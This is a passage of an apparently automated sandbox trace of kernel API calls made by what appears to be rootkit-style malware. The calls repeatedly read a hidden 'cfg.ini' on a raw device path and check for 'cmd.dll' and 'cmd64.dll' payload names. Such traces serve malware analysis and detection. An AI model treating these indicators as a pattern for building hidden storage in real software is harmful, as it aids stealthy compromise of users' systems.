() [0127.776] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.776] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0127.776] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0127.776] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.776] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0127.776] IdePortDispatch () returned 0x103 [0127.776] KeWaitForMutexObject () returned 0x0 [0127.777] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.777] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.777] KeLeaveCriticalRegion () [0127.777] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.777] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.777] KeEnterCriticalRegion () [0127.777] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.777] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c45000 [0127.777] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0127.777] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0127.777] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.777] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0127.777] IdePortDispatch () returned 0x103 [0127.777] KeWaitForMutexObject () returned 0x0 [0127.777] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.777] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0127.777] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0127.777] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.777] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0127.777] IdePortDispatch () returned 0x103 [0127.777] KeWaitForMutexObject () returned 0x0 [0127.777] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.777] KeLeaveCriticalRegion () [0127.777] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.778] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.778] KeEnterCriticalRegion () [0127.778] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.778] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0127.778] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.778] KeLeaveCriticalRegion () [0127.778] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.778] KeEnterCriticalRegion () [0127.778] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.778] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0127.778] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa800c4f7450, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.778] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.778] KeLeaveCriticalRegion () [0127.778] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.778] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.778] KeEnterCriticalRegion () [0127.778] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.778] ExFreePoolWithTag (P=0xfffffa8003bfc360, Tag=0x0) [0127.778] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.778] KeLeaveCriticalRegion () [0127.778] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.778] ReleaseMutex (hMutex=0xf0) returned 1 [0127.778] Sleep (dwMilliseconds=0x124f80) [0127.792] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.792] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0127.792] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.792] KeEnterCriticalRegion () [0127.792] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.792] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0127.792] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0127.792] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.792] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0127.792] IdePortDispatch () returned 0x103 [0127.792] KeWaitForMutexObject () returned 0x0 [0127.793] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.793] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.793] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.793] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.793] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.793] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bfc4b0 [0127.793] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.793] KeLeaveCriticalRegion () [0127.793] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.793] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.793] KeEnterCriticalRegion () [0127.793] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.793] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0127.793] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.793] KeLeaveCriticalRegion () [0127.793] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.793] KeEnterCriticalRegion () [0127.793] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.793] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0127.793] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0127.793] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.793] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0127.793] IdePortDispatch () returned 0x103 [0127.793] KeWaitForMutexObject () returned 0x0 [0127.793] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.793] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.793] KeLeaveCriticalRegion () [0127.793] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.793] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.793] KeEnterCriticalRegion () [0127.793] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.794] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c4a000 [0127.794] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0127.794] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0127.794] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.794] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0127.794] IdePortDispatch () returned 0x103 [0127.794] KeWaitForMutexObject () returned 0x0 [0127.794] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.794] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0127.794] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0127.794] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.794] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0127.794] IdePortDispatch () returned 0x103 [0127.794] KeWaitForMutexObject () returned 0x0 [0127.794] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.794] KeLeaveCriticalRegion () [0127.794] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.795] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.795] KeEnterCriticalRegion () [0127.795] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.795] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0127.795] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.795] KeLeaveCriticalRegion () [0127.795] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.795] KeEnterCriticalRegion () [0127.795] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.795] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0127.795] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfc220, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.795] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.795] KeLeaveCriticalRegion () [0127.795] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.795] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.795] KeEnterCriticalRegion () [0127.795] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.795] ExFreePoolWithTag (P=0xfffffa8003bfc4b0, Tag=0x0) [0127.795] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.795] KeLeaveCriticalRegion () [0127.795] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.795] ReleaseMutex (hMutex=0xf0) returned 1 [0127.795] Sleep (dwMilliseconds=0x124f80) [0127.811] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.811] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0127.811] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.811] KeEnterCriticalRegion () [0127.811] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.811] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0127.811] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0127.811] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.811] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0127.811] IdePortDispatch () returned 0x103 [0127.811] KeWaitForMutexObject () returned 0x0 [0127.811] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.811] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.811] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.811] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.811] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.811] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bfc9b0 [0127.811] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.811] KeLeaveCriticalRegion () [0127.811] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.811] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.812] KeEnterCriticalRegion () [0127.812] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.812] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0127.812] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.812] KeLeaveCriticalRegion () [0127.812] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.812] KeEnterCriticalRegion () [0127.812] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.812] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0127.812] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0127.812] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.812] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0127.812] IdePortDispatch () returned 0x103 [0127.812] KeWaitForMutexObject () returned 0x0 [0127.812] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.812] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.812] KeLeaveCriticalRegion () [0127.812] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.812] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.812] KeEnterCriticalRegion () [0127.812] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.812] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c4f000 [0127.812] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0127.812] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0127.812] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.812] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0127.812] IdePortDispatch () returned 0x103 [0127.813] KeWaitForMutexObject () returned 0x0 [0127.813] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.813] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0127.813] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0127.813] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.813] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0127.813] IdePortDispatch () returned 0x103 [0127.813] KeWaitForMutexObject () returned 0x0 [0127.813] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.813] KeLeaveCriticalRegion () [0127.813] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.814] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.814] KeEnterCriticalRegion () [0127.814] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.814] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0127.814] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.814] KeLeaveCriticalRegion () [0127.814] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.814] KeEnterCriticalRegion () [0127.814] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.814] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0127.814] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80037e1f20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.814] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.814] KeLeaveCriticalRegion () [0127.814] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.814] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.814] KeEnterCriticalRegion () [0127.814] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.814] ExFreePoolWithTag (P=0xfffffa8003bfc9b0, Tag=0x0) [0127.814] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.814] KeLeaveCriticalRegion () [0127.814] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.814] ReleaseMutex (hMutex=0xf0) returned 1 [0127.814] Sleep (dwMilliseconds=0x124f80) [0127.833] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.833] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0127.833] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.833] KeEnterCriticalRegion () [0127.833] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.833] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0127.833] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0127.833] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.833] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0127.833] IdePortDispatch () returned 0x103 [0127.833] KeWaitForMutexObject () returned 0x0 [0127.833] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.833] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.833] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.833] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.833] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.833] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bfb470 [0127.834] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.834] KeLeaveCriticalRegion () [0127.834] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.834] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.834] KeEnterCriticalRegion () [0127.834] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.834] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0127.834] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.834] KeLeaveCriticalRegion () [0127.834] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.834] KeEnterCriticalRegion () [0127.834] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.834] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0127.834] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0127.834] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.834] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0127.834] IdePortDispatch () returned 0x103 [0127.834] KeWaitForMutexObject () returned 0x0 [0127.834] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.834] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.835] KeLeaveCriticalRegion () [0127.835] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.835] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.835] KeEnterCriticalRegion () [0127.835] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.835] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c54000 [0127.835] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0127.835] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0127.835] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.835] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0127.835] IdePortDispatch () returned 0x103 [0127.835] KeWaitForMutexObject () returned 0x0 [0127.835] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.835] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0127.835] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0127.835] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.835] 